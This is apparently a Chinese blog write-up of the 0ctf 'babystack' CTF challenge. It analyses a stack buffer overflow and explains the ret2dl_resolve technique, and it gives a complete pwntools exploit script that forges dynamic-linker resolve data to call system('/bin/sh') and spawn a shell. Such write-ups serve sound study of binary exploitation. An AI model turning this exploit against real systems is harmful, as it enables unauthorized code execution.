0ctf_babystack_ret2dl_resolve

前言

0ctf 的一道 babystack ,练习一下 ret2dl_resolve 技术。

程序分析

int __cdecl main()
{
  alarm(0xAu);
  my_read();
  return 0;
}

ssize_t my_read()
{
  char buf; // [esp+0h] [ebp-28h]

  return read(0, &buf, 0x40u);
}

程序很简单,而且没有开启 pie 跟 canary ,直接常规 rop 就可以了。这里我们不用常规方法,试试 ret2dl_resolve 。

利用过程

ret2dl_resolve 的原理就不细讲了,网上有很多资料。这题的思路就是在 bss 段伪造 resolve_data ,达到在没有 leak libc 的情况下,同样可以调用 system 来 get shell 的目的。这里用的是 pwn_debug 的方法,原型如下:

def build_normal_resolve(self,base,function_name, resolve_target)

    return evil_addr,resolve_data,resovle_cal

base:要放入 resolve_data 的地址。
function_name:需要调用的函数的名称
resolve_target:got 表的地址,也就是最终真实函数地址需要写入的地址。一般来说,这个地址给个可写地址即可。

最后将返回三个数据
evil_addr:建议放入 resolve_data 地址,该地址将 ndx 变为 0 。
resolve_data:伪造的结构,如符号数据。
resolve_call:也就是 p32(plt0)+p32(fake_reloc_offset)。

exp

from pwn_debug import *

pdbg=pwn_debug("./babystack")

#pdbg.context.terminal=['tmux', 'splitw', '-h']

pdbg.local()
#p=pdbg.run("local")
p=pdbg.run("local")
elf=pdbg.elf
libc=pdbg.libc



def pwn():

    p3_ret=0x080484e9 #: pop esi ; pop edi ; pop ebp ; ret
    pebp_ret=0x080484eb #: pop ebp ; ret
    leave_ret=0x080483a8 # : leave ; ret



    bss_addr=0x804a000+0x500
    ret2dl_resolve=pdbg.ret2dl_resolve()

    addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(bss_addr,'system',bss_addr+0x400)
    
    print 'addr:' + hex(addr)
    print 'len_resolve_data:' + str(len(resolve_data))
    print 'resovle_call:' + resovle_call
    
    #pdbg.bp(0x8048456)
    payload='a'*0x28+p32(addr+len(resolve_data)+0x40)+p32(elf.plt['read'])+p32(leave_ret)+p32(0)+p32(addr)+p32(0x1000)
    p.send(payload)
    payload=resolve_data+'a'*0x44+resovle_call
    payload+=p32(0)+p32(addr+len(payload)+8)+'/bin/sh\x00'
    
    p.send(payload)

    
    p.interactive() #get the shell

if __name__ == '__main__':
   pwn()

遇到问题

exp 构造的时候需要在 resolve_data 跟 resovle_call 填充 0x44 个字节,其实按理说这个填充的数量应该是不影响的,但是这里只有填充 0x44 个字节才可以,并且在其他题目中也得到了验证。如果使用了其他填充数值,则在 _dl_lookup_symbol_x 中会绕不过如下判断,最终调用 _dl_signal_cerror 报错。

  if (__glibc_unlikely (current_value.s == NULL))
    {
      if ((*ref == NULL || ELFW(ST_BIND) ((*ref)->st_info) != STB_WEAK)
	  && skip_map == NULL
	  && !(GLRO(dl_debug_mask) & DL_DEBUG_UNUSED))
	{
	  /* We could find no value for a strong reference.  */
	  const char *reference_name = undef_map ? undef_map->l_name : "";
	  const char *versionstr = version ? ", version " : "";
	  const char *versionname = (version && version->name
				     ? version->name : "");

	  /* XXX We cannot translate the message.  */
	  _dl_signal_cerror (0, DSO_FILENAME (reference_name),
			     N_("symbol lookup error"),
			     make_string ("undefined symbol: ", undef_name,
					  versionstr, versionname));
	}
      *ref = NULL;
      return 0;
    }

这里具体原因没有搞明白,以后有时间具体研究一下。

内容来源

https://github.com/ray-cp/pwn_category/tree/master/stack/ret2dl_resolve

posted @ 2020-09-10 09:57  PwnKi  阅读(335)  评论(0编辑  收藏  举报